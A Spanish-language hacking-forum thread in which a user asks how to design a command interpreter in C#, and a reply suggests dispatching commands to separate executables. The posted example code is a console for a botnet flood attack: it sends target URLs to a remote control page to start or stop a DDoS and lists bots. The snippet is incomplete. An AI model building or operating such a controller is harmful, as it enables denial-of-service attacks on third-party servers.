elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Foros Generales
| |-+  Dudas Generales (Moderador: engel lex)
| | |-+  Creando un interprete de comandos en c#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Creando un interprete de comandos en c#  (Leído 3,288 veces)
boy-ka

Desconectado Desconectado

Mensajes: 74


Ver Perfil
Creando un interprete de comandos en c#
« en: 30 Septiembre 2014, 19:16 pm »

Hola  ::) tengo una pequeña duda de como hacen los interpretes de código o simplemente una aplicación con interacción al usuario el cual puede decirle que hacer.

Bueno, yo en C sharp he hecho algo como esto:

Código
  1.  
  2.  class Program
  3.    {
  4.       public static string command;
  5.        static void Main(string[] args)
  6.        {
  7.            Console.ForegroundColor = ConsoleColor.White;
  8.  
  9.            string a =  System.IO.File.ReadAllText(@"D://films.txt");
  10.  
  11.            Console.WriteLine(a);
  12.            Console.Beep();
  13.            Console.Title = ("Samambleke");
  14.  
  15.            Console.Write("@root: ");
  16.            command = Console.ReadLine();
  17.  
  18.            if (command.Contains("flood -g "))
  19.            {
  20.                Console.ForegroundColor = ConsoleColor.Green;
  21.                command = command.Replace("flood -g", "");
  22.  
  23.                Console.ForegroundColor = ConsoleColor.Red;
  24.                Console.WriteLine("Testing the server..");
  25.                //Probando estado del servidor
  26.                try
  27.                {
  28.                var img = (new WebClient().DownloadString(command));
  29.  
  30.                string URL = "http://server.com/zone.php";
  31.                WebClient webClient = new WebClient();
  32.  
  33.                NameValueCollection formData = new NameValueCollection();
  34.  
  35.                if (command.Contains(" "))
  36.                {
  37.                    command = command.Replace(" ", "");
  38.                }
  39.  
  40.                formData["page"] = command;
  41.                formData["attack"] ="ok";
  42.  
  43.                byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
  44.                string responsefromserver = Encoding.UTF8.GetString(responseBytes);
  45.                Console.WriteLine(responsefromserver);
  46.                webClient.Dispose();
  47.  
  48.                Console.ForegroundColor = ConsoleColor.Green;
  49.  
  50.                Console.Write(" ----    Server    ---- ");
  51.  
  52.                Console.WriteLine(img);
  53.                Console.ForegroundColor = ConsoleColor.Red;
  54.                Console.WriteLine("_______________________________________");
  55.  
  56.  
  57.                Console.Write("Status attack: ");            
  58.                Console.ForegroundColor = ConsoleColor.Green;
  59.                Console.Write("Send \n");
  60.  
  61.                }
  62.                catch
  63.                {
  64.                    Console.ForegroundColor = ConsoleColor.Red;
  65.                    Console.WriteLine("Error can that server is overloaded or there is a problem in the conexion to server");
  66.                    OnError();
  67.                }
  68.  
  69.            }
  70.            else if (command == "")
  71.            {
  72.                OnError();
  73.            }
  74.            else if (command == "view bots")
  75.            {
  76.                string page = (new WebClient().DownloadString("http://server.com/pagina.txt");
  77.  
  78.                if (page.Contains("http://"))
  79.                {
  80.                    Console.ForegroundColor = ConsoleColor.Green;
  81.                }
  82.                else
  83.                {
  84.                    Console.ForegroundColor = ConsoleColor.Red;
  85.                }
  86.                string e = System.IO.File.ReadAllText(@"D://films2.txt");
  87.  
  88.                Console.WriteLine(e);
  89.                Console.ForegroundColor = ConsoleColor.Red;
  90.                Console.WriteLine(page);
  91.  
  92.            }
  93.            else if (command == "flood -s")
  94.            {
  95.  
  96.  
  97.                try
  98.                {
  99.                    string URL = "http://server.com/zone.php";
  100.                    WebClient webClient = new WebClient();
  101.  
  102.                    NameValueCollection formData = new NameValueCollection();
  103.  
  104.                    if (command.Contains(" "))
  105.                    {
  106.                        command = command.Replace(" ", "");
  107.                    }
  108.  
  109.                    formData["page"] = "none";
  110.                    formData["attack"] = "no";
  111.  
  112.  
  113.                    byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
  114.                    string responsefromserver = Encoding.UTF8.GetString(responseBytes);
  115.                    webClient.Dispose();
  116.                    Console.ForegroundColor = ConsoleColor.Green;
  117.                    Console.Write("Status attack: ");
  118.                    Console.ForegroundColor = ConsoleColor.Red;
  119.                    Console.Write("OFF \n");
  120.                }
  121.                catch
  122.                {
  123.                    Console.ForegroundColor = ConsoleColor.Red;
  124.                    Console.WriteLine("Error in conexion");
  125.  
  126.                }
  127.            }
  128.            else if (command == "clear")
  129.            {
  130.                Console.Clear();
  131.            }
  132.            else if (command == "exit")
  133.            {
  134.                Environment.Exit(1);
  135.            }
  136.            else
  137.            {
  138.                Console.ForegroundColor = ConsoleColor.Red;
  139.                Console.WriteLine("Command: " + command + " unknow");
  140.                OnError();
  141.            }
  142.            OnError();
  143.        }
  144.  
  145.  
  146.  

Bueno, esto lo uso para ir escribiendo comandos en la consola y que vayan pasando cosas... efectivamente funciona, pero, ¿Existe otro método más sofisticado de escribir comandos?

Conozco cómo detectarlo con switch en lugar de utilizar if, pero digo yo, como lo tengo aquí ¿sería la forma en que tú lo harias?

O como he preguntado antes, ¿existe un modo más facil de hacerlo? pd: Con esto me basta para hacerlo, simplemente quiero opinión de ustedes, gracias por leer espero tu respuesta.


« Última modificación: 30 Septiembre 2014, 19:19 pm por boy-ka » En línea

Shout

Desconectado Desconectado

Mensajes: 191


Acid


Ver Perfil
Re: Creando un interprete de comandos en c#
« Respuesta #1 en: 1 Octubre 2014, 00:34 am »

Yo haría un intérprete que vaya llamando a archivos .exe en cada comando. p.ej.

> do_something -f 3

Llamaría a do_something.exe con argumentos -f y 3.
Así se podría extender fácilmente la consola sin mucho esfuerzo


En línea

I'll bring you death and pestilence, I'll bring you down on my own
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Interprete de Dos
Programación Visual Basic
Hendrix 2 1,653 Último mensaje 24 Marzo 2006, 15:21 pm
por Hendrix
Manual Informatica Basica - Interprete de comandos
Hacking
M3LiNdR1 2 5,033 Último mensaje 23 Marzo 2010, 15:47 pm
por Banker25
Interprete VBS
Scripting
Napster.A530 1 2,996 Último mensaje 4 Agosto 2010, 01:17 am
por Novlucker
Creando nuestros propios comandos de Bach en C
Scripting
fary 3 3,851 Último mensaje 5 Agosto 2010, 18:05 pm
por fary
el interprete de comandos en xp es lo mismo que ejecutar(tema resuelto)
Hacking
Paul Young 6 5,313 Último mensaje 26 Diciembre 2010, 17:06 pm
por Paul Young
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines